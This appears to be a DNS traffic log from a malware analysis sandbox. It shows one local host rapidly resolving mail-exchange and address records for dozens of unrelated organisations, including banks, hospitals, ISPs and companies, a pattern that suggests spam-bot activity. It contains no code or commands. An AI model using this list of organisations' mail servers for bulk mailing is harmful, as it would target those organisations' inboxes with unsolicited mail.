Aug 24, 2023 19:03:41.077405930 CEST	8.8.8.8	192.168.2.8	0xe203	No error (0)	jps.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.077405930 CEST	8.8.8.8	192.168.2.8	0xe203	No error (0)	jps.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.077405930 CEST	8.8.8.8	192.168.2.8	0xe203	No error (0)	jps.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.077405930 CEST	8.8.8.8	192.168.2.8	0xe203	No error (0)	jps.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.184596062 CEST	8.8.8.8	192.168.2.8	0x435c	No error (0)	lineone.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.212268114 CEST	8.8.8.8	192.168.2.8	0xfab1	No error (0)	parsons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.212268114 CEST	8.8.8.8	192.168.2.8	0xfab1	No error (0)	parsons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.212268114 CEST	8.8.8.8	192.168.2.8	0xfab1	No error (0)	parsons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.212268114 CEST	8.8.8.8	192.168.2.8	0xfab1	No error (0)	parsons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.212268114 CEST	8.8.8.8	192.168.2.8	0xfab1	No error (0)	parsons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.212268114 CEST	8.8.8.8	192.168.2.8	0xfab1	No error (0)	parsons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.217384100 CEST	8.8.8.8	192.168.2.8	0x3c2e	No error (0)	cae.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.250535965 CEST	8.8.8.8	192.168.2.8	0x136a	No error (0)	txdal11mx02.parsons.com		206.219.199.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.253586054 CEST	8.8.8.8	192.168.2.8	0xc0ef	No error (0)	cae-com.mail.protection.outlook.com		104.47.51.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.253586054 CEST	8.8.8.8	192.168.2.8	0xc0ef	No error (0)	cae-com.mail.protection.outlook.com		104.47.51.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.452428102 CEST	8.8.8.8	192.168.2.8	0x80c9	No error (0)	financialbenefitscorp.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.498900890 CEST	8.8.8.8	192.168.2.8	0x6e99	No error (0)	financialbenefitscorp-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.498900890 CEST	8.8.8.8	192.168.2.8	0x6e99	No error (0)	financialbenefitscorp-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.574496984 CEST	8.8.8.8	192.168.2.8	0x1c5e	No error (0)	fleetcom.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.574496984 CEST	8.8.8.8	192.168.2.8	0x1c5e	No error (0)	fleetcom.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.574496984 CEST	8.8.8.8	192.168.2.8	0x1c5e	No error (0)	fleetcom.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.574496984 CEST	8.8.8.8	192.168.2.8	0x1c5e	No error (0)	fleetcom.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.584217072 CEST	8.8.8.8	192.168.2.8	0x9301	No error (0)	almat.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.584217072 CEST	8.8.8.8	192.168.2.8	0x9301	No error (0)	almat.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.623661995 CEST	8.8.8.8	192.168.2.8	0x4b84	No error (0)	mailgate2.on-call.ca		67.212.93.71	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.663089037 CEST	8.8.8.8	192.168.2.8	0x20bf	Server failure (2)	successtracs.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.710817099 CEST	8.8.8.8	192.168.2.8	0xe1ab	No error (0)	mx001.internic.xion.oxcs.net		135.148.130.75	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.739530087 CEST	8.8.8.8	192.168.2.8	0xe607	No error (0)	hudsonbayltd.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.789263010 CEST	8.8.8.8	192.168.2.8	0x182e	No error (0)	lifemark.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.836411953 CEST	8.8.8.8	192.168.2.8	0xbcbd	No error (0)	lifemark-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.836411953 CEST	8.8.8.8	192.168.2.8	0xbcbd	No error (0)	lifemark-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.856621027 CEST	8.8.8.8	192.168.2.8	0x7c9b	No error (0)	mail.hudsonbayltd.com		66.23.225.225	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.906763077 CEST	8.8.8.8	192.168.2.8	0x2899	No error (0)	windstream.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.027740955 CEST	8.8.8.8	192.168.2.8	0x20ae	No error (0)	mx01.windstream.net		129.159.105.98	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.052855968 CEST	8.8.8.8	192.168.2.8	0xc1b3	No error (0)	dslextreme.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.082065105 CEST	8.8.8.8	192.168.2.8	0x254c	No error (0)	dslextreme-com.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.168869972 CEST	8.8.8.8	192.168.2.8	0x742a	No error (0)	sasktel.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.168869972 CEST	8.8.8.8	192.168.2.8	0x742a	No error (0)	sasktel.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.168869972 CEST	8.8.8.8	192.168.2.8	0x742a	No error (0)	sasktel.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.221740007 CEST	8.8.8.8	192.168.2.8	0xc265	Name error (3)	buzybodymovement.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.306324959 CEST	8.8.8.8	192.168.2.8	0x5bff	No error (0)	peharbour.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.306324959 CEST	8.8.8.8	192.168.2.8	0x5bff	No error (0)	peharbour.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.306324959 CEST	8.8.8.8	192.168.2.8	0x5bff	No error (0)	peharbour.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.306324959 CEST	8.8.8.8	192.168.2.8	0x5bff	No error (0)	peharbour.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.383421898 CEST	8.8.8.8	192.168.2.8	0x8d0f	No error (0)	mx1c11.megamailservers.com		69.49.101.234	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.516110897 CEST	8.8.8.8	192.168.2.8	0x2752	No error (0)	cibc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.516110897 CEST	8.8.8.8	192.168.2.8	0x2752	No error (0)	cibc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.569222927 CEST	8.8.8.8	192.168.2.8	0x6f71	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.591309071 CEST	8.8.8.8	192.168.2.8	0x913e	No error (0)	pcl.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.591309071 CEST	8.8.8.8	192.168.2.8	0x913e	No error (0)	pcl.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.598944902 CEST	8.8.8.8	192.168.2.8	0x27bc	No error (0)	mx1h1.comcast.net		96.102.157.178	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.688214064 CEST	8.8.8.8	192.168.2.8	0x20bf	Server failure (2)	successtracs.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.708477020 CEST	8.8.8.8	192.168.2.8	0xe0ef	No error (0)	mxb-00146707.gslb.pphosted.com		67.231.151.8	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.722907066 CEST	8.8.8.8	192.168.2.8	0x9fd8	No error (0)	mxa-0028a101.gslb.pphosted.com		148.163.150.20	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.743069887 CEST	8.8.8.8	192.168.2.8	0x83c6	No error (0)	transperfect.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.743069887 CEST	8.8.8.8	192.168.2.8	0x83c6	No error (0)	transperfect.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.776365042 CEST	8.8.8.8	192.168.2.8	0xdefb	No error (0)	transperfect-com.mx2.arsmtp.com		8.19.118.174	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.956091881 CEST	8.8.8.8	192.168.2.8	0x6b2a	No error (0)	inerde.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.956091881 CEST	8.8.8.8	192.168.2.8	0x6b2a	No error (0)	inerde.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.956091881 CEST	8.8.8.8	192.168.2.8	0x6b2a	No error (0)	inerde.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.956091881 CEST	8.8.8.8	192.168.2.8	0x6b2a	No error (0)	inerde.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.956091881 CEST	8.8.8.8	192.168.2.8	0x6b2a	No error (0)	inerde.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.272068977 CEST	8.8.8.8	192.168.2.8	0x3f15	No error (0)	apsc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.272068977 CEST	8.8.8.8	192.168.2.8	0x3f15	No error (0)	apsc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.281431913 CEST	8.8.8.8	192.168.2.8	0xc36f	No error (0)	live.dk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.331691980 CEST	8.8.8.8	192.168.2.8	0x51a9	No error (0)	eur.olc.protection.outlook.com		104.47.12.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.331691980 CEST	8.8.8.8	192.168.2.8	0x51a9	No error (0)	eur.olc.protection.outlook.com		104.47.14.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.376318932 CEST	8.8.8.8	192.168.2.8	0x635f	No error (0)	kone.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.435292959 CEST	8.8.8.8	192.168.2.8	0x800	No error (0)	kone-com.mail.protection.outlook.com		104.47.11.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.435292959 CEST	8.8.8.8	192.168.2.8	0x800	No error (0)	kone-com.mail.protection.outlook.com		104.47.11.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.452018023 CEST	8.8.8.8	192.168.2.8	0x181c	No error (0)	mxb-00358f01.gslb.pphosted.com		67.231.159.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.553869009 CEST	8.8.8.8	192.168.2.8	0xe09	No error (0)	obsidianenergy.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.612392902 CEST	8.8.8.8	192.168.2.8	0x9f35	No error (0)	obsidianenergy-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.612392902 CEST	8.8.8.8	192.168.2.8	0x9f35	No error (0)	obsidianenergy-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.732461929 CEST	8.8.8.8	192.168.2.8	0x45bb	No error (0)	stonybrookmedicine.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.776151896 CEST	8.8.8.8	192.168.2.8	0xbbb0	No error (0)	stonybrookmedicine-edu.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.776151896 CEST	8.8.8.8	192.168.2.8	0xbbb0	No error (0)	stonybrookmedicine-edu.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.776151896 CEST	8.8.8.8	192.168.2.8	0xbbb0	No error (0)	stonybrookmedicine-edu.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.776151896 CEST	8.8.8.8	192.168.2.8	0xbbb0	No error (0)	stonybrookmedicine-edu.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.776151896 CEST	8.8.8.8	192.168.2.8	0xbbb0	No error (0)	stonybrookmedicine-edu.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.776151896 CEST	8.8.8.8	192.168.2.8	0xbbb0	No error (0)	stonybrookmedicine-edu.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.777435064 CEST	8.8.8.8	192.168.2.8	0xe439	No error (0)	rona.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.825742960 CEST	8.8.8.8	192.168.2.8	0x7964	No error (0)	rona-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.825742960 CEST	8.8.8.8	192.168.2.8	0x7964	No error (0)	rona-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.881995916 CEST	8.8.8.8	192.168.2.8	0xe7c8	No error (0)	immigrationlawgroup.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.881995916 CEST	8.8.8.8	192.168.2.8	0xe7c8	No error (0)	immigrationlawgroup.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.267251015 CEST	8.8.8.8	192.168.2.8	0x638f	No error (0)	d215873a.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.267251015 CEST	8.8.8.8	192.168.2.8	0x638f	No error (0)	d215873a.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.267251015 CEST	8.8.8.8	192.168.2.8	0x638f	No error (0)	d215873a.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.285525084 CEST	8.8.8.8	192.168.2.8	0x2757	No error (0)	mondelezinternational.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.324841022 CEST	8.8.8.8	192.168.2.8	0x4ec8	No error (0)	custmx.cscdns.net		198.58.121.58	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.357552052 CEST	8.8.8.8	192.168.2.8	0x4a3b	No error (0)	johncrane.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.402693033 CEST	8.8.8.8	192.168.2.8	0x9504	No error (0)	johncrane-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.402693033 CEST	8.8.8.8	192.168.2.8	0x9504	No error (0)	johncrane-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.546741962 CEST	8.8.8.8	192.168.2.8	0xd7cd	No error (0)	themayneline.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.663300037 CEST	8.8.8.8	192.168.2.8	0xb30e	No error (0)	ccmm.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.739587069 CEST	8.8.8.8	192.168.2.8	0x77fd	No error (0)	ccmm-qc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.739587069 CEST	8.8.8.8	192.168.2.8	0x77fd	No error (0)	ccmm-qc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.798796892 CEST	8.8.8.8	192.168.2.8	0x111c	No error (0)	schanks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.798796892 CEST	8.8.8.8	192.168.2.8	0x111c	No error (0)	schanks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.845943928 CEST	8.8.8.8	192.168.2.8	0x1343	No error (0)	mx002.netsol.xion.oxcs.net		135.148.130.76	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.878274918 CEST	8.8.8.8	192.168.2.8	0x302b	No error (0)	mail.themayneline.com		65.182.102.90	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.688436985 CEST	8.8.8.8	192.168.2.8	0xbb5d	No error (0)	comptoirdescotonniers.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.733968019 CEST	8.8.8.8	192.168.2.8	0xad11	No error (0)	comptoirdescotonniers-com.mail.protection.outlook.com		104.47.23.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.733968019 CEST	8.8.8.8	192.168.2.8	0xad11	No error (0)	comptoirdescotonniers-com.mail.protection.outlook.com		104.47.23.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.748316050 CEST	8.8.8.8	192.168.2.8	0x6848	No error (0)	msn-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.748316050 CEST	8.8.8.8	192.168.2.8	0x6848	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.855745077 CEST	8.8.8.8	192.168.2.8	0xe68c	No error (0)	wojciks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.855745077 CEST	8.8.8.8	192.168.2.8	0xe68c	No error (0)	wojciks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.855745077 CEST	8.8.8.8	192.168.2.8	0xe68c	No error (0)	wojciks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.855745077 CEST	8.8.8.8	192.168.2.8	0xe68c	No error (0)	wojciks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.855745077 CEST	8.8.8.8	192.168.2.8	0xe68c	No error (0)	wojciks.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.891958952 CEST	8.8.8.8	192.168.2.8	0xb99	No error (0)	pwrdf.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.944595098 CEST	8.8.8.8	192.168.2.8	0x631c	No error (0)	pwrdf-org.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.944595098 CEST	8.8.8.8	192.168.2.8	0x631c	No error (0)	pwrdf-org.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.961313009 CEST	8.8.8.8	192.168.2.8	0x2d65	No error (0)	hatch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.961313009 CEST	8.8.8.8	192.168.2.8	0x2d65	No error (0)	hatch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.999876976 CEST	8.8.8.8	192.168.2.8	0x4500	No error (0)	mail2.hatch.ca		69.46.127.11	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.999876976 CEST	8.8.8.8	192.168.2.8	0x4500	No error (0)	mail2.hatch.ca		69.46.127.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.138818026 CEST	8.8.8.8	192.168.2.8	0xbd28	No error (0)	dpsg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.138818026 CEST	8.8.8.8	192.168.2.8	0xbd28	No error (0)	dpsg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.155005932 CEST	8.8.8.8	192.168.2.8	0xd6a0	No error (0)	greatpacificmedia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.229094028 CEST	8.8.8.8	192.168.2.8	0xed08	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.229094028 CEST	8.8.8.8	192.168.2.8	0xed08	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.73.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.287323952 CEST	8.8.8.8	192.168.2.8	0xd035	No error (0)	greatpacificmedia.com		192.185.32.55	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.305167913 CEST	8.8.8.8	192.168.2.8	0x50b0	No error (0)	bmo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.305167913 CEST	8.8.8.8	192.168.2.8	0x50b0	No error (0)	bmo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.319782019 CEST	8.8.8.8	192.168.2.8	0x66d6	No error (0)	mxa-0028f601.gslb.pphosted.com		67.231.153.129	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.338309050 CEST	8.8.8.8	192.168.2.8	0x81e	No error (0)	rat1sully.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.381002903 CEST	8.8.8.8	192.168.2.8	0x4f37	No error (0)	ajforsyth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.381002903 CEST	8.8.8.8	192.168.2.8	0x4f37	No error (0)	ajforsyth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.385377884 CEST	8.8.8.8	192.168.2.8	0x93f0	No error (0)	mailserver.rat1sully.com		213.171.216.40	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.445060968 CEST	8.8.8.8	192.168.2.8	0x69d	No error (0)	jacksontwpnj.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.445060968 CEST	8.8.8.8	192.168.2.8	0x69d	No error (0)	jacksontwpnj.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.474225044 CEST	8.8.8.8	192.168.2.8	0x3e88	No error (0)	mxa-00277d01.gslb.pphosted.com		67.231.159.120	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.483483076 CEST	8.8.8.8	192.168.2.8	0x5430	No error (0)	jacksontwpnj-net.mail.protection.outlook.com		104.47.64.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.483483076 CEST	8.8.8.8	192.168.2.8	0x5430	No error (0)	jacksontwpnj-net.mail.protection.outlook.com		104.47.65.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.567413092 CEST	8.8.8.8	192.168.2.8	0x2344	No error (0)	mxa-001f5401.gslb.pphosted.com		148.163.157.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.599684954 CEST	8.8.8.8	192.168.2.8	0x7e60	No error (0)	rbccm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.599684954 CEST	8.8.8.8	192.168.2.8	0x7e60	No error (0)	rbccm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.655193090 CEST	8.8.8.8	192.168.2.8	0x152d	No error (0)	MX2.HC391-17.CA.IPHMX.com		216.71.135.143	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.655193090 CEST	8.8.8.8	192.168.2.8	0x152d	No error (0)	MX2.HC391-17.CA.IPHMX.com		216.71.131.69	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.692091942 CEST	8.8.8.8	192.168.2.8	0xda9b	No error (0)	netscape.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.733072042 CEST	8.8.8.8	192.168.2.8	0x2e6b	No error (0)	embroidme.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.733072042 CEST	8.8.8.8	192.168.2.8	0x2e6b	No error (0)	embroidme.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.855647087 CEST	8.8.8.8	192.168.2.8	0x8f26	No error (0)	ptd.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.999671936 CEST	8.8.8.8	192.168.2.8	0xd9e1	No error (0)	mx.ptd.net		150.136.189.171	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.015247107 CEST	8.8.8.8	192.168.2.8	0xcfa5	Name error (3)	drcla.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.022505999 CEST	8.8.8.8	192.168.2.8	0x4430	No error (0)	nshealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.058923960 CEST	8.8.8.8	192.168.2.8	0xe1f1	No error (0)	nshealth-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.058923960 CEST	8.8.8.8	192.168.2.8	0xe1f1	No error (0)	nshealth-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.218964100 CEST	8.8.8.8	192.168.2.8	0xa5c6	No error (0)	libro.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.218964100 CEST	8.8.8.8	192.168.2.8	0xa5c6	No error (0)	libro.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.370543003 CEST	8.8.8.8	192.168.2.8	0xc191	No error (0)	rangeweb.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.396789074 CEST	8.8.8.8	192.168.2.8	0x85c6	No error (0)	mxb-002ea201.gslb.pphosted.com		67.231.151.137	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.464202881 CEST	8.8.8.8	192.168.2.8	0x2ffa	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)	false
